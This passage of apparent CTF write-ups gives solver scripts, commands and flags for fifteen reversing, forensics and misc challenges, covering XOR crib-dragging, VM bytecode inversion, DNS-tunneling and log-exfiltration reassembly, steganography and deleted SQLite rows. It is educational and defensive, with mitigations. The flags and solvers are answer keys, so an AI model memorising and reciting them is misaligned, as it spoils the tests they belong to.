3. Locate the marker and dump surrounding bytes.
4. Use the known plaintext prefix `tibeb{` to recover the XOR key.
5. Decrypt the full ciphertext.

Payload / Command:

```
file checker
strings -a checker | grep -iE 'tibeb|xor|flag|locked|unlocked'
grep -abo 'TIBEB_XOR_V1' checker
OFF=$(grep -abo 'TIBEB_XOR_V1' checker | cut -d: -f1)
xxd -s $((OFF-256)) -l 768 checker
```

Crib-drag and decrypt:

```
ciphertext_prefix = [0x19, 0x04, 0x0f, 0x08, 0x0f, 0x16]
for c, p in zip(ciphertext_prefix, b"tibeb{"):
    print(hex(c ^ p), end=" ")
# Output: 0x6d 0x6d 0x6d 0x6d 0x6d 0x6d

target = bytes.fromhex(
  "19040f080f1615021f320a0c19083208"
  "55085f5d5a5c5c5e0b0b550c545f0c5d"
  "0b5f5a10")
print(bytes(b ^ 0x6d for b in target).decode())
```

Flag:
`tibeb{xor_gate_e8e207113ff8a92a0f27}`

Technical Rationale:

- XOR is self-inverse: `plaintext = ciphertext XOR key`.
- A single-byte key has only 256 possibilities, and any known plaintext byte immediately reveals it.
- The known flag prefix `tibeb{` was sufficient to recover `0x6d` at every position.
- The marker `TIBEB_XOR_V1` leaked both the location and the scheme.

Mitigation / Hardening:

- Do not embed secrets or flags in client-controlled binaries.
- Use authenticated encryption or a keyed hash instead of XOR obfuscation.
- Avoid static markers that identify the encryption scheme.
- If a secret must be checked locally, derive it through a one-way function.

---

2. Tiny Rotor (250 points, Easy)

Description:
A password checker applies a position-dependent byte transform involving addition, bit rotation, and XOR. The correct input is the flag.

Vulnerability Class:
Reversible Position-Dependent Transform

Root Cause:

- The checker uses only invertible byte operations: `ADD`, `ROL8`, and `XOR`.
- Constants are hard-coded and visible in disassembly.
- The transform depends on the byte index, but the index is known during analysis.
- No key or secret is required to invert the routine.

Exploitation Technique:

1. Locate the marker `TIBEB_ROTOR1!`.

2. Dump the ciphertext after the marker.
3. Disassemble the compare loop.
4. Reconstruct the forward transform.
5. Invert each operation to recover the input bytes.

Payload / Command:

```
strings -a checker | grep -iE 'rot|tibeb'
xxd -s 0xa30e0 -l 96 checker
objdump -d -M intel --start-address=0x401851 --stop-address=0x4018a1 checker
```

Inversion script:

```
target = bytes.fromhex(
  "04242474545343a2c2d262c28b4a0373"
  "3161a098a118f987ffa8f0008e8766ff4d")

def rotr8(x, n):
    n &= 7
    return ((x >> n) | (x << (8 - n))) & 0xFF

flag = bytearray()
for i, t in enumerate(target):
    b = rotr8(t ^ 0xA7, 3)          # undo XOR, then undo ROL8
    flag.append((b - 7 * i) & 0xFF)  # undo +7*i

print(flag.decode())
```

Flag:
`tibeb{rotor_1b21babb4d1cc247a9f2}`

Technical Rationale:

- The forward transform is:

`text b = input[i] + 7*i b = ROL8(b, 3) b = b ^ 0xA7 compare b to target[i]`

- Every operation is bijective on 8-bit values.
- `ROL8` inverts to `ROR8`, `ADD` inverts to `SUB`, and `XOR` is self-inverse.
- The position-dependent `+7*i` term prevents simple crib-dragging, but disassembly reveals it directly.

Mitigation / Hardening:

- Do not rely on reversible obfuscation for secret validation.
- Use a cryptographic hash or MAC with a secret key.
- If code must be distributed, move validation server-side.
- Strip or obfuscate constants that reveal the transform.

---

3. Pocket WebAssembly (300 points, Medium)

Description:
A WebAssembly module checks the input. The correct input is the flag.

Vulnerability Class:
Weak Single-Byte XOR in WebAssembly Data Segment

Root Cause:

- The WASM module exports a `check` function.
- A 37-byte data segment stores the ciphertext.
- The check function XORs each input byte with `90` decimal (`0x5A`) and compares it to the data segment.
- The decompiled logic is readable and fully exposes the algorithm.

Exploitation Technique:

1. Dump WASM section metadata.
2. Identify the exported `check` function and the data segment.
3. Decompile the module to readable pseudo-C.
4. Recover the XOR key and decrypt the data segment.

Payload / Command:

```
wasm-objdump -x lock.wasm
wasm-decompile lock.wasm -o lock.dcmp
cat lock.dcmp
```

Decryption:

```
data = bytes.fromhex(
  "2e33383f38212d3b2937053635393105" +
  "6c686c636f6f3f3c6f386b3f3f3c6e6d" +
  "6f6a3f3827")
print(bytes(b ^ 0x5A for b in data).decode())
```

Flag:
`tibeb{wasm_lock_626955ef5b1eef4750eb}`

Technical Rationale:

- WebAssembly stores static bytes in a clearly labelled data section.
- `wasm-decompile` reconstructs the check as:

`c ((a + i)[0]:ubyte ^ 90) == d[i]:ubyte`

- `90` decimal is `0x5A`, so the entire check is a single-byte XOR.
- No key management or cryptographic protection is present.

Mitigation / Hardening:

- Never store secrets directly in client-side WASM.
- Perform secret validation on a trusted server.
- Use authenticated encryption if data must be embedded.
- Avoid single-byte XOR; use a proper cipher or HMAC.

---

4. Museum Machine (400 points, Hard)

Description:
A custom virtual machine interprets a bytecode program to validate the input. The correct input is the flag.

Vulnerability Class:
Reversible Custom VM Bytecode / Weak Instruction-Set Obfuscation

Root Cause:

- The VM implements only invertible operations: `LOAD`, `XOR`, `ADD`, `ROL8`, and `CHECK`.
- The bytecode contains all constants and check targets.
- The input indices are permuted, but each block is independent and invertible.
- No cryptographic one-way function is used.

Exploitation Technique:

1. Read the ISA and interpreter.
2. Dump the bytecode.
3. Parse each 10-byte instruction block.
4. Invert the transform for each block.
5. Write decrypted bytes to the correct permuted indices.

Payload / Command:

```
cat isa.txt
cat vm.py
xxd program.mvm
```

Solver:

```
p = open("program.mvm", "rb").read()
n = int.from_bytes(p[4:6], "little")  # 36

def rotr8(b, r):
    r &= 7
    return ((b >> r) | (b << (8 - r))) & 0xFF

flag = [None] * n
i = 6
```

```
while i < len(p) and p[i] != 0xFF:
    idx = p[i+1]; i += 2   # LOAD
    k   = p[i+1]; i += 2   # XOR
    a   = p[i+1]; i += 2   # ADD
    r   = p[i+1]; i += 2   # ROL8
    t   = p[i+1]; i += 2   # CHECK

    acc = rotr8(t, r)          # undo ROL8
    acc = (acc - a) & 0xFF     # undo ADD
    acc = acc ^ k              # undo XOR
    flag[idx] = acc

print(bytes(flag).decode())
```

Flag:
`tibeb{bytecode_dc67f143d19b57109e1e}`

Technical Rationale:

- The VM's forward block is:

`text acc = input[idx] acc ^= k acc = (acc + a) & 0xFF acc = ROL8(acc, r) check acc == t`

- Every operation is invertible, so the input byte can be computed directly from `t`, `r`, `a`, and `k`.
- The `LOAD` instructions use a permutation of indices, so decrypted bytes must be placed at `flag[idx]`.
- No emulation or brute force is required.

Mitigation / Hardening:

- Do not use reversible arithmetic for secret validation.
- Use a cryptographic hash, MAC, or KDF.
- If bytecode must be used, combine it with a server-side secret.
- Obfuscate control flow and constants, but do not rely on obfuscation alone.

---

5. Sixteen Brass Dials (450 points, Hard)

Description:
A verifier checks the input against a system of linear equations modulo 257. The correct input is the flag.

Vulnerability Class:
Linear System over a Prime Field / Reversible Mathematical Verification

Root Cause:

- The checker loads a 37×37 matrix and a 37-element target vector.
- It computes `A · x ≡ b (mod 257)` and checks all rows.

- The modulus `257` is prime, so the integers mod 257 form a field.
- The system is square and full-rank, giving a unique solution.

Exploitation Technique:

1. Read the verifier and data file.
2. Recognise the linear system over `GF(257)`.
3. Perform Gauss-Jordan elimination with modular arithmetic.
4. Recover the unique solution vector and decode it as bytes.

Payload / Command:

```
cat check.py
python3 -c "import json; d=json.load(open('dials.json')); print(list(d), len(d['target']))"
```

Solver:

```
import json

d = json.load(open("dials.json"))
A, b, MOD, n = d["matrix"], d["target"], 257, len(d["target"])

M = [[A[i][j] % MOD for j in range(n)] + [b[i] % MOD] for i in range(n)]

for col in range(n):
    piv = next(r for r in range(col, n) if M[r][col] % MOD)
    M[col], M[piv] = M[piv], M[col]
    iv = pow(M[col][col], MOD - 2, MOD)  # modular inverse via Fermat
    M[col] = [(v * iv) % MOD for v in M[col]]
    for r in range(n):
        if r == col:
            continue
        f = M[r][col]
        if f:
            M[r] = [(M[r][k] - f * M[col][k]) % MOD for k in range(n + 1)]

print(bytes(row[n] for row in M).decode())
```

Flag:

`tibeb{equations_bd5e5c8d2f4e00aae04c}`

Technical Rationale:

- The modulus `257` is prime, so every nonzero element has a multiplicative inverse.
- Gauss-Jordan elimination works exactly as over the reals, using modular arithmetic.
- The modular inverse is computed with Fermat's little theorem: `a^(p-2) mod p`.
- The system is square and full-rank, so the solution is unique.
- Brute force would require `256^37` attempts, which is infeasible.

Mitigation / Hardening:

- Do not use linear equations to validate secrets; they are efficiently solvable.
- Use a cryptographic hash or password-based KDF.

- If algebraic checks are required, use non-linear one-way functions.
- Protect verification data as you would protect a secret key.

Summary Table

Challenge	Points	Difficulty	Vulnerability Class	Exploit Technique
XOR Gate	150	Easy	Single-byte XOR + known plaintext	Crib-drag `tibeb{` prefix, recover key `0x6d`, decrypt
Tiny Rotor	250	Easy	Reversible position-dependent transform	Disassemble, invert `XOR`/`ROL8`/`ADD`
Pocket WebAssembly	300	Medium	Single-byte XOR in WASM data segment	`wasm-decompile`, XOR with `0x5A`
Museum Machine	400	Hard	Reversible custom VM bytecode	Parse instruction blocks, invert each, respect permuted indices
Sixteen Brass Dials	450	Hard	Linear system mod prime	Gauss-Jordan elimination mod `257`

Overarching Lessons

1. **Reconnaissance comes first** — `file`, `strings`, markers, and section metadata often reveal the entire scheme.
2. **Known plaintext is powerful** — even a small known prefix like `tibeb{` can break weak XOR or verify transform assumptions.
3. **Reversible is not secure** — XOR, addition, rotation, and linear equations are all invertible. They obfuscate, but they do not protect.
4. **Use the right tool for the target** — `objdump` for native, `wasm-decompile` for WASM, custom parsers for VMs, and linear algebra for equation systems.
5. **Understand the math** — modular inverses, prime fields, and Gauss-Jordan elimination turn an apparently hard challenge into a one-pass solve.
6. **Brute force is rarely necessary** — once the transform is understood, inversion is direct and efficient.
7. **Real mitigation requires one-way functions** — hashes, MACs, KDFs, authenticated encryption, and server-side validation. Obfuscation alone is not enough.

These five challenges illustrate common reverse-engineering weaknesses: static markers, weak XOR, reversible transforms, readable bytecode, and solvable algebraic verifiers. The mitigations provided can be applied to real software to prevent similar weaknesses.

Full Technical Breakdown: Five Forensics Challenges

This document consolidates the technical analysis of all five forensics challenges solved in the CTF. Each section covers the challenge description, forensic artifact class, root cause, investigation technique, exact commands, flag, technical rationale, and recommended mitigations. A summary table and overarching lessons are provided at the end.

---

1. After the Last Pixel (100 points, Easy)

Description:
A PNG poster opens normally, but its file is larger than the image needs. Investigate what was delivered after the last pixel.

Forensic Artifact Class:
Trailing data / appended ZIP archive inside a PNG.

Root Cause:

- PNG viewers stop rendering at the `IEND` chunk, but the file can legally contain trailing bytes.
- A ZIP archive was appended after the PNG image data.
- The ZIP contained a Base64-encoded dispatch file.

Investigation Technique:

1. Identify the file with `file`.
2. Scan for embedded signatures with `binwalk`.
3. Carve the appended ZIP with `binwalk -e`.
4. Read and Base64-decode the extracted `dispatch.b64`.

Payload / Command:

```
file poster.png
binwalk poster.png
binwalk -e poster.png
cat _poster.png.extracted/dispatch.b64
base64 -d _poster.png.extracted/dispatch.b64
```

Flag:
`tibeb{png_tail_65445df5f21363883f58}`

Technical Rationale:

- A PNG ends with the `IEND` chunk followed by a fixed trailer.
- `binwalk` found a ZIP header (`PK\x03\x04`) at offset `0xB4`, well past the PNG image data.
- The ZIP contained `dispatch.b64`; its Base64 text decoded directly to the flag.

Mitigation:

- Strip trailing bytes during upload or ingestion.
- Re-encode images with a trusted image library before serving.
- Validate that file length matches the expected internal structure.
- Monitor for polyglot or appended-data files in file-sharing workflows.

---

2. Postcards in DNS (250 points, Medium)

Description:
A network capture shows numbered postcards sent via DNS queries to an invented `.test` domain. Retries and background traffic are deliberate.

Forensic Artifact Class:
DNS tunneling / covert channel in DNS queries.

Root Cause:

- Data was encoded into subdomain labels of DNS queries.
- A numeric prefix (`000`, `001`, ...) provided the reassembly order.
- Duplicate queries were retries; `*.library.test` lookups were decoys.
- Each chunk was Base32-encoded.

Investigation Technique:

1. Extract DNS query names from the PCAP with `tshark`.
2. Identify the numbered fragments under `dispatch.test`.
3. Sort by numeric prefix and remove duplicate retries.
4. Base32-decode each chunk and concatenate in order.

Payload / Command:

```
tshark -r postcards.pcap -Y "dns" -T fields -e dns.qry.name | sort -u
python3 -c "
import base64
chunks = ['oruwezlcpnsg4427','obxxg5ddmfzgi427','gqyggmrvmnsdsojx','gi2gkodcmu2dozrx','pu']
for s in chunks:
    t = s.upper()
    t += '=' * ((8 - len(t) % 8) % 8)
    print(base64.b32decode(t).decode(), end='')
"
```

Flag:
`tibeb{dns_postcards_40c25cd99724e8be47f7}`

Technical Rationale:

- DNS labels are case-insensitive and can carry the Base32 alphabet (`A–Z`, `2–7`).
- The numeric prefix orders fragments even though packet arrival order is scrambled.
- Retries duplicate data and must be deduplicated before decoding.

Mitigation:

- Monitor DNS logs for long, random-looking subdomain labels.
- Enforce egress DNS filtering and rate limiting.
- Alert on high-volume queries to unusual or untrusted domains.
- Use DNS security extensions and enterprise DNS logging where possible.

---

3. The Logbook (250 points, Medium)

Description:
A reverse-proxy access log and incident note. One fragmented exfiltration stream is hidden among routine traffic. Recover transfer `amber-17`. Log collector delivery order is not guaranteed.

Forensic Artifact Class:
Fragmented HTTP log exfiltration via query parameters.

Root Cause:

- An attacker hid data chunks in `/collect?transfer=amber-17&seq=N&chunk=...` requests.
- Log lines were out of order.
- Chunks were URL-encoded and Base64-encoded.

Investigation Technique:

1. Read `incident.txt` to identify transfer `amber-17`.
2. Filter `proxy.jsonl` for that transfer ID.
3. Sort entries by the `seq` parameter.
4. URL-decode each `chunk`, concatenate, and Base64-decode.

Payload / Command:

```
grep "amber-17" proxy.jsonl
python3 -c "
import urllib.parse, base64
parts = {
    0:'dGliZWJ7b', 1:'G9nYm9va1', 2:'84MWM2NDd',
    3:'mZWVjZGM4', 4:'ODViMDZmZ', 5:'X0%3D'
}
```

```
s = ''.join(urllib.parse.unquote(parts[i]) for i in sorted(parts))
print(base64.b64decode(s).decode())
"
```

Flag:
`tibeb{logbook_81c647feecdc885b06fe}`

Technical Rationale:

- The `seq` parameter provides the correct order; log arrival order cannot be trusted.
- `%3D` is the URL encoding of `=`, which is part of the Base64 alphabet.
- Concatenating the decoded chunks yields a valid Base64 string that decodes to the flag.

Mitigation:

- Monitor logs for encoded payloads in query strings.
- Enforce query parameter length limits and rate limiting.
- Deploy egress filtering to detect abnormal data transfer patterns.
- Use structured logging and alerting on suspicious `/collect` endpoints.

---

4. Pixel Weave (300 points, Medium)

Description:
A 96×96 RGB PNG. The note says: “red thread first, row by row; the first four bytes say how much cloth to cut.”

Forensic Artifact Class:
LSB steganography in the red channel of a PNG.

Root Cause:

- Data was hidden in the least significant bit of each red pixel byte.
- The image’s high bits remained random, so the image looked noisy but normal.
- The first four decoded bytes were a big-endian length header.

Investigation Technique:

1. Parse PNG `IDAT` chunks and zlib-decompress the pixel data.
2. Read pixels row-major, taking the LSB of each red byte.
3. Pack bits into bytes.
4. Read the first four bytes as a length, then extract that many bytes as the flag.

Payload / Command:

```
python3 -c "
import struct, zlib
```

```
d = open('weave.png','rb').read()
pos = 8; idat = b''
while pos < len(d):
    ln = struct.unpack('>I', d[pos:pos+4])[0]
    typ = d[pos+4:pos+8]
    data = d[pos+8:pos+8+ln]
    if typ == b'IDAT': idat += data
    pos += 12 + ln
raw = zlib.decompress(idat)

W, H = 96, 96; stride = W*3 + 1
bits = []
for y in range(H):
    base = y*stride
    for x in range(W):
        bits.append(raw[base + 1 + x*3] & 1)

out = bytearray()
for i in range(0, len(bits) - 7, 8):
    v = 0
    for j in range(8):
        v = (v << 1) | bits[i+j]
    out.append(v)

length = int.from_bytes(out[:4], 'big')
print(out[4:4+length].decode())
"
```

Flag:
`tibeb{pixel_weave_0703d066f23ffb3e6141}`

Technical Rationale:

- Changing the LSB of a color channel alters the pixel value by at most 1/255, which is visually imperceptible.
- The hint “red thread first, row by row” specified the channel and traversal order.
- The first four bytes gave the payload length, allowing precise extraction.

Mitigation:

- Re-encode images with lossy or trusted processing before publishing.
- Use steganalysis tools to detect LSB anomalies.
- Strip metadata and normalize pixel values.
- Restrict uploads to verified image formats and re-render them server-side.

---

5. Erased Ledger (400 points, Hard)

Description:
A SQLite ledger. The archivist deleted a sealed entry before exporting it. No VACUUM was performed. Find the old entry, then decode the envelope it contained.

Forensic Artifact Class:
Deleted SQLite row recovery from unvacuumed free space.

Root Cause:

- SQLite `DELETE` marks a row's space as free but does not overwrite the bytes.
- Without `VACUUM`, the deleted content remains physically in the database file.
- The deleted row contained a `SEALED_DISPATCH` envelope with a Base64 payload.

Investigation Technique:

1. Confirm the file is SQLite and inspect the live schema.
2. Search raw file contents for deleted strings.
3. Extract the `SEALED_DISPATCH` envelope.
4. Base64-decode the payload.

Payload / Command:

```
file ledger.sqlite
sqlite3 ledger.sqlite ".tables"
sqlite3 ledger.sqlite "SELECT * FROM ledger;"
strings ledger.sqlite | grep -i "SEALED"
echo "dGliZWJ7ZXJhc2VkX2xlZGdlcl9kMzhjZDhmY2E5ODg0YTNkZjI4ZH0=" | base64 -d
```

Flag:
`tibeb{erased_ledger_d38cd8fca9884a3df28d}`

Technical Rationale:

- SQLite stores rows in pages; deleting a row only clears its slot in the page.
- `VACUUM` rewrites the database and removes orphaned data, but it was not run.
- `strings` recovered the deleted `SEALED_DISPATCH:<base64>:END_DISPATCH` envelope.

Mitigation:

- Run `VACUUM` after deleting sensitive rows.
- Use secure deletion or encryption for sensitive data at rest.
- Avoid storing secrets in plaintext SQLite databases.
- Apply least privilege and access controls to database files.

Summary Table

Challenge	Points	Difficulty	Forensic Class	Extraction Technique
After the Last Pixel	100	Easy	Trailing data / appended ZIP	`binwalk` + Base64
Postcards in DNS	250	Medium	DNS tunneling	`tshark` + Base32

Challenge	Points	Difficulty	Forensic Class	Extraction Technique
The Logbook	250	Medium	Fragmented HTTP log exfiltration	`grep` + sort `seq` + URL/Base64
Pixel Weave	300	Medium	LSB steganography	PNG IDAT + LSB + length prefix
Erased Ledger	400	Hard	Deleted SQLite row recovery	`strings` + Base64

Overarching Lessons

1. **File formats have boundaries, but files can carry extra data** — always check beyond the official end of a format.
2. **Covert channels hide in ordinary protocols** — DNS, HTTP, and logs can all carry exfiltrated data.
3. **Order may be implicit** — use sequence numbers, prefixes, or timestamps, not arrival order.
4. **Encoding layers are common** — URL encoding, Base64, and Base32 often wrap the real payload.
5. **Deletion is not erasure** — understand storage internals such as SQLite pages and `VACUUM` behavior.
6. **Challenge descriptions are hints** — “after the last pixel,” “postcards in DNS,” “logbook,” “red thread,” and “no VACUUM” all point directly to the artifact and technique.

These five forensics challenges illustrate how data can be hidden, fragmented, encoded, and recovered. The mitigations provided can be directly applied to production systems to prevent similar data leaks and to improve forensic readiness.

Full Technical Breakdown: Five Misc Challenges

This document consolidates the technical analysis of all five misc challenges solved in the CTF. Each section covers the challenge description, challenge class, root cause/ mechanism, solution technique, exact payload/command, flag, technical rationale, and recommended mitigations. A summary table and overarching lessons are provided at the end.

---

1. Matryoshka Parcel (100 points, Easy)

Description:
The festival archivist replaced the front page, but forgot that browsers keep reading past what they display. Find the abandoned staff note.

Challenge Class: Nested Archive / Magic-Byte Analysis / Recursive Extraction

Root Cause / Mechanism:

- File extension `.dat` did not match actual gzip content.
- Multiple compression/encoding layers: ZIP → gzip → base64 → bzip2 → ZIP → plaintext.
- Reliance on extension or visual inspection would miss the true format.

Solution Technique:

1. Used `file` and `xxd` to identify true formats via magic bytes.
2. Extracted ZIP, then gzip, then base64, then bzip2, then ZIP.
3. Read the final text file.

Payload / Command:

```
file parcel.dat bundle.zip
xxd parcel.dat | head -5
unzip -o bundle.zip
gunzip -c parcel.dat > layer1
file layer1
base64 -d layer1 > layer2.bz2
file layer2.bz2
bunzip2 -c layer2.bz2 > layer2
unzip -o layer2
cat last-dispatch.txt
```

Alternative one-liner: `binwalk -eM parcel.dat`

Flag:
`tibeb{matryoshka_a52321d3fbea56b2bea3}`

Technical Rationale:

- Magic bytes: gzip `1f 8b`, bzip2 `BZh`, ZIP `PK`.
- Base64 of bzip2 often starts `QlpoOTFB`.
- `binwalk -eM` automates recursive extraction.

Mitigation / Prevention:

- For uploads: validate file signatures, not extensions; restrict nested archives; scan content.
- For CTF: always verify magic bytes before trusting extension.

---

2. Midnight Signal (250 points, Medium)

Description:
A 198 KB WAV file named `signal.wav`. The recording "repeats no words" but carries a timed signal that spells out something to decode.

Challenge Class: Audio Signal Analysis / On-Off Keying / Morse + Base32

Root Cause / Mechanism:

- Signal is on-off keyed (OOK) tone around 750 Hz.
- Morse timing uses 20 ms dot, 60 ms dash, 20/60/120 ms gaps.
- Automatic decoder failed due to timing detection.
- Morse output uses only `A–Z` and `2–7`, indicating Base32.

Solution Technique:

1. Inspect WAV: 8000 Hz mono 16-bit.
2. Generate spectrogram: steady tone with gaps.
3. Extract amplitude envelope, threshold, run-length encode.
4. Decode Morse manually with 20 ms unit.
5. Base32-decode result.

Payload / Command:

```
sox signal.wav -n spectrogram -o spec.png
# Python envelope extraction and Morse decoding (see script below)
echo 'ORUWEZLCPNZWSZ3OMFWF6MBSHBSGIZBVG5RWGYRVGNRWEYLDMU3GI7I' | base32 -d
```

Flag:
`tibeb{signal_028ddd57ccb53cbace6d}`

Technical Rationale:

- Spectrogram distinguishes OOK from SSTV/DTMF/FSK.

- Run-length durations cluster at 20/60/120 ms.
- Morse character set `A–Z2–7` is the Base32 alphabet.

Mitigation / Prevention:

- For signal processing: use robust timing recovery and error correction.
- For CTF: don't trust automatic decoders; inspect timing manually.

---

3. Caravan Routes (300 points, Medium)

Description:
`routes.json`, 386 KB. Find the cheapest directed route from START to FINISH; edge labels along the route form the flag. The map is too large to guess.

Challenge Class: Graph Theory / Dijkstra Shortest Path

Root Cause / Mechanism:

- JSON contains `start`, `finish`, and `edges` with `from`, `to`, `cost`, `label`.
- Graph is directed, weighted, positive costs, 736 nodes, 3535 edges.
- Each edge label is a single character; path labels concatenate to the flag.

Solution Technique:

1. Parse JSON, build adjacency list.
2. Confirm directed (FINISH has out-edges).
3. Run Dijkstra from START to FINISH.
4. Reconstruct path, concatenate labels.

Payload / Command:

```
import json, heapq
d = json.load(open("routes.json"))
adj = {}
for e in d["edges"]:
    adj.setdefault(e["from"], []).append((e["to"], e["cost"], e["label"]))

def dijkstra(src, dst):
    dist = {src: 0}; prev = {}; pq = [(0, src)]
    while pq:
        d, u = heapq.heappop(pq)
        if u == dst: break
        if d > dist.get(u, 1e18): continue
        for v, w, l in adj.get(u, []):
            nd = d + w
            if nd < dist.get(v, 1e18):
                dist[v] = nd; prev[v] = (u, l)
                heapq.heappush(pq, (nd, v))
    labels, cur = [], dst
    while cur in prev:
        p, l = prev[cur]; labels.append(l); cur = p
    labels.reverse()
```

```
    return dist.get(dst), "".join(labels)

cost, flag = dijkstra("START", "FINISH")
print(cost, flag)
```

Flag:
`tibeb{caravan_4489ddfd760148f6bd3f}`

Technical Rationale:

- Non-negative weights → Dijkstra optimal.
- Directed graph: FINISH having out-edges confirms it is not undirected.
- Single-character labels indicate path reconstruction.

Mitigation / Prevention:

- For graph algorithms: always verify directedness and weight constraints.
- For CTF: read schema carefully; labels are the payload.

---

4. Repair Shop (300 points, Medium)

Description:
`transmission.txt`, 624 bytes. Every 7-bit word has exactly one flipped bit. The encoding is even-parity Hamming(7,4) with parity bits at positions 1, 2, and 4.

Challenge Class: Error-Correcting Codes / Hamming(7,4) Syndrome Decoding

Root Cause / Mechanism:

- Each 7-bit codeword suffered exactly one bit flip.
- Hamming(7,4) allows single-error correction.
- Data bits at positions 3,5,6,7; parity at 1,2,4.

Solution Technique:

1. Read 7-bit lines.
2. For each codeword, compute syndrome from parity checks.
3. Flip error bit indicated by syndrome.
4. Extract data bits, pack into bytes MSB-first, decode ASCII.

Payload / Command:

```
import re
bits = re.findall(r'[01]', open("transmission.txt").read())

def correct(w):
    b = [int(x) for x in w]
    s1 = (b[0] + b[2] + b[4] + b[6]) % 2
    s2 = (b[1] + b[2] + b[5] + b[6]) % 2
```

```
    s4 = (b[3] + b[4] + b[5] + b[6]) % 2
    syn = s1*1 + s2*2 + s4*4
    if syn: b[syn-1] ^= 1
    return [b[2], b[4], b[5], b[6]]

data = []
for i in range(0, len(bits), 7):
    data.extend(correct(bits[i:i+7]))

by = bytearray()
for i in range(0, len(data)//8*8, 8):
    byte = 0
    for bit in data[i:i+8]:
        byte = (byte << 1) | bit
    by.append(byte)

print(by.decode())
```

Flag:
`tibeb{repair_shop_4d3641cf53f7f3caefe7}`

Technical Rationale:

- Syndrome directly indexes error position in Hamming(7,4).
- Parity positions are powers of two: 1,2,4.
- Data bits are at non-powers: 3,5,6,7.

Mitigation / Prevention:

- Use proper error-correcting codes in transmission.
- For CTF: implement syndrome decoding rather than brute force.

---

5. Campus Footprints (150 points, Easy)

Description:
`campus-archive.json` and `incident-note.txt`. Follow the note to select three seals: latest revision for Textiles at 09:00, Astronomy at 11:00, Music at 14:00. Concatenate their seal values.

Challenge Class: JSON Data Filtering / Key Mapping / Revision Selection

Root Cause / Mechanism:

- Note refers to departments; timetable uses room names.
- `departments` maps department to room.
- Need latest revision per room+time, avoiding `wrong_slot` trap.

Solution Technique:

1. Parse JSON.
2. Map department → room.

3. Filter timetable by room and time.
4. Select max revision.
5. Concatenate seals.

Payload / Command:

```
import json
d = json.load(open("campus-archive.json"))
dept_to_room = d["departments"]

targets = [("Textiles","09:00"), ("Astronomy","11:00"), ("Music","14:00")]
seals = []
for dept, time in targets:
    room = dept_to_room[dept]
    best = max((r for r in d["timetable"]
                if r["room"] == room and r["time"] == time),
               key=lambda r: r["revision"])
    seals.append(best["seal"])

print("tibeb{" + "".join(seals) + "}")
```

Flag:

`tibeb{campus_footprints_70526293eea545fbeb69}`

Technical Rationale:

- Departments and rooms are separate namespaces; mapping required.
- “Latest revision” means max by revision, not last in file.
- Trap row `Sky Room @ 09:00 rev 2` with seal `wrong_slot` catches room-only filtering.

Mitigation / Prevention:

- For data design: use consistent keys and avoid ambiguous references.
- For CTF: read problem statement carefully; match on all specified fields.

Summary Table

Challenge	Points	Difficulty	Challenge Class	Technique
Matryoshka Parcel	100	Easy	Nested Archives / Magic Bytes	Recursive extraction
Midnight Signal	250	Medium	Audio OOK / Morse	Envelope + Morse + Base32
Caravan Routes	300	Medium	Graph Shortest Path	Dijkstra
Repair Shop	300	Medium	Hamming(7,4)	Syndrome decoding
Campus Footprints	150	Easy	JSON Filtering	Key mapping + max revision

Overarching Lessons

1. **Trust content, not extensions** — magic bytes reveal true format; extensions can lie.
2. **Read the challenge description carefully** — hints often specify algorithm, encoding, or filter criteria.
3. **Don’t rely on automatic tools blindly** — custom decoding may be needed when timing or parameters are non-standard.
4. **Understand the data model** — graph directedness, key namespaces, revision semantics, and bit layouts matter.
5. **Apply standard algorithms correctly** — Dijkstra, Hamming syndrome, Morse timing, and Base32 are well-defined; implement them precisely.

These five misc challenges illustrate common data-shape puzzles. The techniques and mitigations can be directly applied to similar CTF tasks and real-world data analysis.